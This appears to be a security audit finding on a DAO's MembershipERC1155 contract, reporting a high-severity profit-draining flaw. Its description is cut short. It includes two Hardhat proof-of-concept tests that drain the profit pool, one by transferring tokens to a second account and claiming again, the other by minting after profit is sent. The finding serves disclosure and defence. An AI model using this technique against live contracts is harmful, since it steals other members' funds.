HIGH severity: `MembershipER` profit tokens can be drained due to missing `lastProfit` synchronization when minting and claiming profit. **Description:** When [`MembershipERC1155:claimProfit`](https://github.com/OneWpOrg/audit-2024-10-oneworld/blob/416630e46ea6f0e9bd9bdd0aea6a48119d0b515a/contracts/dao/tokens/MembershipERC1155.sol#L138-L147) is called by a DAO member, the...

Vulnerable code:
it("lets users steal steal account balance by transferring tokens and claiming profit", async function () {
    await membershipERC1155.connect(deployer).mint(user.address, 1, 100);
    await membershipERC1155.connect(deployer).mint(anotherUser.address, 1, 100);
    await testERC20.mint(nonAdmin.address, ethers.utils.parseEther("20"));
    await testERC20.connect(nonAdmin).approve(membershipERC1155.address, ethers.utils.parseEther("20"));
    await membershipERC1155.connect(nonAdmin).sendProfit(testERC20.address, ethers.utils.parseEther("2"));
    const userProfit = await membershipERC1155.profitOf(user.address, testERC20.address);
    expect(userProfit).to.be.equal(ethers.utils.parseEther("1"));

    const beforeBalance = await testERC20.balanceOf(user.address);
    const initialContractBalance = await testERC20.balanceOf(membershipERC1155.address);

    // user claims profit
    await membershipERC1155.connect(user).claimProfit(testERC20.address);

    const afterBalance = await testERC20.balanceOf(user.address);
    const contractBalance = await testERC20.balanceOf(membershipERC1155.address);

    // users balance increased
    expect(afterBalance.sub(beforeBalance)).to.equal(userProfit);
    expect(contractBalance).to.equal(initialContractBalance.sub(userProfit));

    // user creates a second account and transfers their tokens to it
    const userSecondAccount = (await ethers.getSigners())[4];
    await membershipERC1155.connect(user).safeTransferFrom(user.address, userSecondAccount.address, 1, 100, '0x');
    const newProfit = await membershipERC1155.profitOf(userSecondAccount.address, testERC20.address);
    expect(newProfit).to.be.equal(userProfit);

    // second account can claim profit
    const newBeforeBalance = await testERC20.balanceOf(userSecondAccount.address);
    await membershipERC1155.connect(userSecondAccount).claimProfit(testERC20.address);
    const newAfterBalance = await testERC20.balanceOf(userSecondAccount.address);
    expect(newAfterBalance.sub(newBeforeBalance)).to.equal(newProfit);

    // contract balance has decreased with twice the profit
    const contractBalanceAfter = await testERC20.balanceOf(membershipERC1155.address);
    expect(contractBalanceAfter).to.equal(initialContractBalance.sub(userProfit.mul(2)));
    expect(contractBalanceAfter).to.equal(0);

    // no profit left for other users
    const anotherUserProfit = await membershipERC1155.profitOf(anotherUser.address, testERC20.address);
    expect(anotherUserProfit).to.be.equal(ethers.utils.parseEther("1"));
    await expect(membershipERC1155.connect(anotherUser).claimProfit(testERC20.address)).to.be.revertedWith("ERC20: transfer amount exceeds balance");
});

it("lets users steal steal account balance by minting after profit is sent", async function () {
    await membershipERC1155.connect(deployer).mint(user.address, 1, 100);
    await membershipERC1155.connect(deployer).mint(anotherUser.address, 1, 100);
    await testERC20.mint(nonAdmin.address, ethers.utils.parseEther("20"));
    await testERC20.connect(nonAdmin).approve(membershipERC1155.address, ethers.utils.parseEther("20"));
    await membershipERC1155.connect(nonAdmin).sendProfit(testERC20.address, ethers.utils.parseEther("2"));
    const userProfit = await membershipERC1155.profitOf(user.address, testERC20.address);
    expect(userProfit).to.be.equal(ethers.utils.parseEther("1"));

    const beforeBalance = await testERC20.balanceOf(user.address);
    const initialContractBalance = await testERC20.balanceOf(membershipERC1155.address);

    // user claims profit
    await membershipERC1155.connect(user).claimProfit(testERC20.address);

    const afterBalance = await testERC20.balanceOf(user.address);
    const contractBalance = await testERC20.balanceOf(membershipERC1155.address);

    // users balance increased
    expect(afterBalance.sub(beforeBalance)).to.equal(userProfit);
    expect(contractBalance).to.equal(initialContractBalance.sub(userProfit));

    // new user mints a token after profit and can claim first users profit
    const newUser = (await ethers.getSigners())[4];
    await membershipERC1155.connect(deployer).mint(newUser.address, 1, 100);
    const newProfit = await membershipERC1155.profitOf(newUser.address, testERC20.address);
    expect(newProfit).to.be.equal(ethers.utils.parseEther("1"));

    // new user can claim profit
    const newBeforeBalance = await testERC20.balanceOf(newUser.address);
    await membershipERC1155.connect(newUser).claimProfit(testERC20.address);
    const newAfterBalance = await testERC20.balanceOf(newUser.address);
    expect(newAfterBalance.sub(newBeforeBalance)).to.equal(newProfit);

    // contract balance has decreased with twice the profit
    const contractBalanceAfter = await testERC20.balanceOf(membershipERC1155.address);
    expect(contractBalanceAfter).to.equal(initialContractBalance.sub(userProfit.mul(2)));
    expect(contractBalanceAfter).to.equal(0);

    // no profit left for first users
    const anotherUserProfit = await membershipERC1155.profitOf(anotherUser.address, testERC20.address);
    expect(anotherUserProfit).to.be.equal(ethers.utils.parseEther("1"));
    await expect(membershipERC1155.connect(anotherUser).claimProfit(testERC20.address)).to.be.revertedWith("ERC20: transfer amount exceeds balance");
});